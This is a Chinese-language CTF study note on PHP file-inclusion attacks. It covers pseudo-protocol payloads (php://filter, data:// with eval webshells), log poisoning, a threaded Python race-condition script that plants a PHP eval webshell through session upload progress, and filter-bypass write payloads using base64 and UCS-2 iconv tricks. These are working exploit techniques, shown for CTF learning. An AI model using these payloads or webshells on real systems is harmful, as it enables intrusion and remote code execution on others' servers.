php中与文件包含有关的四个函数:
require()
require_once()
include()
include_once()
include和require区别主要是,include在包含的过程中如果出现错误,会抛出一个警告,程序继续正常运行;而require函数出现错误的时候,会直接报错并退出程序的执行。
而include_once(),require_once()这两个函数,与前两个的不同之处在于这两个函数只包含一次,适用于在脚本执行期间同一个文件有可能被包括超过一次的情况下,你想确保它只被包括一次以避免函数重定义,变量重新赋值等问题。
PHP伪协议
尤其要熟悉:
file://
php://filter
php://input
data://text/plain,
那么对于如下例子:
if(isset($_GET['file'])){
$file = $_GET['file'];
include($file);
}else{
highlight_file(__FILE__);
}
有多种payload:
//使用php://filter伪协议读文件
/?file=php://filter/convert.base64-encode/resource=flag.php
//使用data://伪协议执行php代码
/?file=data://text/plain,<?=eval($_POST[1]);?> //1=system('tac flag.php');
/?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs=
//PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs ===> <?php system('cat flag.php');
日志包含
一般操作是,先通过ua注入日志一句话木马,然后包含:
/?file=/var/log/nginx/access.log
补充:
补充一下php中的@运算符:
PHP中的@,叫做错误抑制运算符
->加上@,对应所在行的代码,如果运行时候出错了,也不报错,不输出错误了
->不加@的正常的代码,如果代码运行时候出错,会报错的。
Session文件包含
在php5.4之后php.ini开始有几个默认选项:
1.session.upload_progress.enabled = on
2.session.upload_progress.cleanup = on
3.session.upload_progress.prefix = “upload_progress_”
4.session.upload_progress.name = “PHP_SESSION_UPLOAD_PROGRESS”
5.session.use_strict_mode=off
第一个表示当浏览器向服务器上传一个文件时,php将会把此次文件上传的详细信息(如上传时间、上传进度等)存储在session当中
第二个表示当文件上传结束后,php将会立即清空对应session文件中的内容
第三和第四个prefix+name将表示为session中的键名,也就是写入session文件的内容
第五个表示我们对Cookie中sessionID可控
简而言之,我们可以利用session.upload_progress将木马写入session文件,然后包含这个session文件。不过前提是我们需要创建一个session文件,并且知道session文件的存放位置。因为session.use_strict_mode=off的关系,我们可以自定义sessionID
linux系统中session文件一般的默认存储位置为 /tmp或 /var/lib/php/session
例如我们在Cookie中设置了PHPSESSID=flag,php会在服务器上创建文件:/tmp/sess_flag,即使此时用户没有初始化session,php也会自动初始化Session。 并产生一个键值,为prefix+name的值,最后被写入sess_文件里。我们可以控制PHP_SESSION_UPLOAD_PROGRESS的值为一句话木马,就可以达到命令注入的效果了。
还有一个关键点就是session.upload_progress.cleanup默认是开启的,只要读取了post数据,就会清除进度信息,所以我们需要利用条件竞争来pass,也就是文件还没上传完的时候去包含session文件的内容(也就是一个木马),进而进行命令执行写出一个新的可以随时访问的木马文件。写一个脚本来完成:
#-- coding:UTF-8 --
import io
import requests
import threading
url = 'http://c2f7b237-d72b-4215-b1c0-23d0a12375f9.challenge.ctf.show:8080/'
sessionid='ctfshow'
data={
"1":"file_put_contents('/var/www/html/1.php','<?php eval($_POST[2]);?>');"
}
def write(session):
fileBytes=io.BytesIO(b'a' * 1024 * 50)
while True:
response=session.post(
url,
data={
'PHP_SESSION_UPLOAD_PROGRESS': '<?php eval($_POST[1]);?>'
},
cookies={
'PHPSESSID':sessionid
},
files={
'file':('ctfshow.jpg',fileBytes)
}
)
def read(session):
while True:
response = session.post(url+'?file=/tmp/sess_'+sessionid,data=data,
cookies={
'PHPSESSID':sessionid
}
)
response2=session.get(url+'1.php')
if response2.status_code==200:
print('++++++++++++done++++++++++++')
else:
print(response2.status_code)
if __name__ == '__main__':
evnet=threading.Event()
with requests.session() as session:
for i in range(5):
threading.Thread(target=write,args=(session,)).start()
for i in range(5):
threading.Thread(target=read,args=(session,)).start()
evnet.set()
补充:
平时include()/require()文件的时候,PHP先会在当前目录下找找有没有这个路径,如果没有,然后就会在include paths里面找
所谓的include paths不是一个目录,而是很多个目录,这些目录可以通过get_include_path();得到。
一些零碎
PHP写过滤器使用
场景如下:
if(isset($_GET['file'])){
$file = $_GET['file'];
$content = $_POST['content'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
$file = str_replace(".", "???", $file);
file_put_contents(urldecode($file), "<?php die('大佬别秀了');?>".$content);
}else{
highlight_file(__FILE__);
}
file:
/?file=php://filter/write=convert.base64-decode/resource=1.php
//两次urlencode后
/?file=%25%37%30%25%36%38%25%37%30%25%33%61%25%32%66%25%32%66%25%36%36%25%36%39%25%36%63%25%37%34%25%36%35%25%37%32%25%32%66%25%37%37%25%37%32%25%36%39%25%37%34%25%36%35%25%33%64%25%36%33%25%36%66%25%36%65%25%37%36%25%36%35%25%37%32%25%37%34%25%32%65%25%36%32%25%36%31%25%37%33%25%36%35%25%33%36%25%33%34%25%32%64%25%36%34%25%36%35%25%36%33%25%36%66%25%36%34%25%36%35%25%32%66%25%37%32%25%36%35%25%37%33%25%36%66%25%37%35%25%37%32%25%36%33%25%36%35%25%33%64%25%33%31%25%32%65%25%37%30%25%36%38%25%37%30
content(但注意的是前面剩下phpdie,一共6个字符,所以需要再加2个字符变8个,因为base64算法解码时是4个byte一组):
content=<?php system('tac f*.php');?>
//base64编码
content=aaPD9waHAgc3lzdGVtKCd0YWMgZioucGhwJyk7Pz4=
convert.iconv过滤器配合php://filter使用
场景如下:
highlight_file(__FILE__);
error_reporting(0);
function filter($x){
if(preg_match('/http|https|utf|zlib|data|input|rot13|base64|string|log|sess/i',$x)){
die('too young too simple sometimes naive!');
}
}
$file=$_GET['file'];
$contents=$_POST['contents'];
filter($file);
file_put_contents($file, "<?php die();?>".$contents);
convert.iconv.:一种过滤器,和使用iconv()函数处理流数据有等同作用
iconv ( string $in_charset , string $out_charset , string $str ):将字符串$str从$in_charset编码转换到$out_charset
这里引入usc-2的概念,作用是对目标字符串每两位进行一反转,值得注意的是,因为是两位所以字符串需要保持在偶数位上。
payload如下:
/?file=php://filter/write=convert.iconv.UCS-2LE.UCS-2BE/resource=a.php
contents=?<hp pvela$(P_SO[T]a;)>?